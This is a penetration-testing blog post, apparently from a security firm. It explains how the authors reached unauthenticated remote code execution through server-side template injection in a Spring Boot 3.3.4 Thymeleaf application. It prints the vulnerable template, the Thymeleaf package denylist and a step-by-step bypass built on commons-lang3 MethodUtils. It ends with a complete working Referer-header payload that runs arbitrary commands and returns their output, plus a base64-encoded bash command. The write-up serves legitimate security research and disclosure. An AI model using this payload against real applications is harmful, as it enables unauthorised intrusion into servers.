⟵ Blog
playground

Exploiting SSTI in a Modern Spring Boot Application (3.3.4)

January 8, 2025

by parzel

In a recent pentest on a hardened target, we were able to achieve unauthenticated Remote Code Execution (RCE) via Server-Side Template Injection (SSTI) in a Spring Boot application. In the following we’ll be diving into both the Thymeleaf templating engine and into the method we used to exploit SSTI in a modern Spring Boot application, specifically focusing on bypassing defenses in newer versions of Spring Boot.

Identifying the Bug

Let’s dive right into the bug. During a whitebox pentest, we noticed an interesting reflection of the user’s Referer header in one of the templates, which immediately screamed SSTI to us. The application was written in Java and used Spring Boot 3.3.4. Under the hood, Spring Boot uses the Thymeleaf templating engine. The source code snippet in question looked like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!doctype html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>SSTI DEMO</title>
  </head>
  <body>
    <h1 th:text="@{'/login?redirectAfterLogin=__${Referer}__'}"></h1>
  </body>
</html>

This appeared to be a classic case of double evaluation, where the expression between double underscores is preprocessed, and the result is then used as part of the template. This pattern is very similar to a well-known @{__${path}__} vulnerability. The key difference here was the use of single quotes, which seemed to encase the referrer and made us question if it was an exploitable case.

Interestingly, when we began dynamically testing the endpoint by injecting a single quote in hopes of breaking out of the initial context and inject a simple template expression like ${7*7}, the quote got reflected with HTML encoding and initially appeared unexploitable, as shown in the image below. This was most likely why the issue had gone undetected for so long.

HTML encoded single quotes in the HTML source code reflection

But there was an interesting detail: even though we injected a single quote, the reflection contained two HTML encoded single quotes. Enjoying a challenge in our pentests, we decided to dive deeper into this. We set up our own application to reproduce the behavior of the original application for some local debugging.

And as it turns out the issue is in fact exploitable. In the screenshot below, we can see that the preprocessed value is inserted as a literal into the subsequent template evaluation without any kind of encoding. Most likely, the parser tries to fix the broken syntax and comes up with the result from before.

Debugging Thymeleaf template parsing shows that the single quotes are not escaped

This makes the flaw exploitable, and we can easily verify this by sending a request such as the following:

Successful injection with '+${7*7}+'

We can see in the output of the application that we successfully evaluated our payload and got a 49 in the response. Now, let’s exploit this issue to accomplish our sweet RCE!

Facing Problems

Most often exploiting SSTI flaws in Java are as easy as ${T(java.lang.Runtime).getRuntime().exec('calc')}. Let’s break this payload down:

  1. T(java.lang.Runtime): This accesses the java.lang.Runtime class
  2. getRuntime(): This method returns the runtime object associated with the current Java application
  3. exec('calc'): This method executes our payload

When we tried this payload on our target, the results were underwhelming… Just a 500 error!

Payload ${T(java.lang.Runtime).getRuntime().exec('calc') leads to a 500 error.

Inspecting the debug log we see the following error:

1
2
org.thymeleaf.exceptions.TemplateProcessingException:
Instantiation of new objects and access to static classes or parameters is forbidden in this context

The reason for this are the defenses that were built into Thymeleaf in recent versions. As is the case most often, someone else already identified these defenses and tried to circumvent them, which you can read up on in an excellent blog post done by Noventiq. We recommend you read it to understand some of the defenses that Thyemelaf employs.

Naturally we tested the provided payloads, but they are mitigated by now. So it was time to get our hands dirty and find a novel bypass.

Bypassing the Defenses

To sum this up, we have two different parts for the exploit we need. First, we need a reference to the java.lang.Runtime class. Second, we need a way to run a method on it.

Let’s start by getting hold of arbitrary classes. One method to get access to the class of an object is to access it like a.getClass() if a was an object. This luckily works quite well. We can instantiate an object of class String by using "". If we append .class, we can get the Class object associated with the String class.

MVP of the source code to exploit

Each class in Java has the forName function, which allows us to get the class object associated with the class or interface with the given string name. Using it, we can pass the string of the class we want to get. This allows us to access java.lang.Runtime (or any other class, for that matter).

Request/Response with a simple template expression

Unfortunately this is not enough. When we try to run getRuntime() we will get a new error:

1
 Calling method 'getRuntime' is forbidden for type 'class java.lang.Class' in this expression context.

We most likely can bypass this similarly to the blog post from Noventiq by using reflection. Reflection in Java is a feature that allows a program to inspect and manipulate the properties and behavior of objects at runtime. It enables access to classes, methods, and fields dynamically, even if they are private. They are using the class org.springframework.util.ReflectionUtils for this. But this is no longer possible as the class now made it to the denylist of packages and cannot be loaded to run arbitrary functions:

1
2
3
private static final Set<String> BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("java.", "javax.", "jakarta.", "jdk.", "org.ietf.jgss.", "org.omg.", "org.w3c.dom.", "org.xml.sax.", "com.sun.", "sun."));
private static final Set<String> ALLOWED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("java.time."));
private static final Set<String> BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("com.squareup.javapoet.", "net.bytebuddy.", "net.sf.cglib.", "javassist.", "javax0.geci.", "org.apache.bcel.", "org.aspectj.", "org.javassist.", "org.mockito.", "org.objectweb.asm.", "org.objenesis.", "org.springframework.aot.", "org.springframework.asm.", "org.springframework.cglib.", "org.springframework.javapoet.", "org.springframework.objenesis.", "org.springframework.web.", "org.springframework.webflow.", "org.springframework.context.", "org.springframework.beans.", "org.springframework.aspects.", "org.springframework.aop.", "org.springframework.expression.", "org.springframework.util."));

As pentesters, we know that a denylist is usually not failsafe. So we searched through all libraries that were imported by our web application and tried to identify interesting classes that might give us the means to call methods via reflection… And we were successful! The library is not loaded by default in Spring Boot, but it is likely that many applications depend on it as it is in org.apache.commons.lang3. It’s called MethodUtils. Checking its documentation shows that it has everything we need to create a payload.

Developing the Exploit

Now we have everything to create an exploit. First, we get the class object of MethodUtils:

1
 "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")

Then we want the instance of Runtime:

1
 "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime")

And finally invoke the method exec on it:

1
 "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeMethod("".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), "exec", "whoami")
Using MethodUtils to execute a command

Yay, a blind RCE! However, our target was not allowed to create outgoing connections. Also, the involved classes of this exploit imposed multiple restrictions, which is why we opted to write to an intermediate file and return its contents in the HTTP response. This results in our final Frankenstein payload which also allows you to run commands without an external channel:

1
2
Cmd: bash -c {echo,d2hvYW1p}|{base64,-d}|{bash,-i}>abc
Referer: '+${"".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeMethod("".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), "exec", #ctx.getVariable("org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER").getAsyncWebRequest().getHeader("CMD"))+""+#ctx.getVariable("org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER").getAsyncWebRequest().getResponse().reset()+@servletContext.setAttribute("1",#ctx.getVariable("org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER").getAsyncWebRequest().getResponse().getWriter())+""+@servletContext.getAttribute("1").println("".class.forName("org.apache.commons.io.IOUtils").toString("".class.forName("org.apache.commons.io.FileUtils").readFileToString("abc").getBytes()))+@servletContext.getAttribute("1").close()}+'
Final Payload that returns the command's result in the HTTP response

We were quite happy - at least for a minute - because we know that there are probably easier ways to achieve the final result. So if you manage to get rid of the file write and find a more direct approach to return the command’s results, please share it :)

Other News

All news ⟶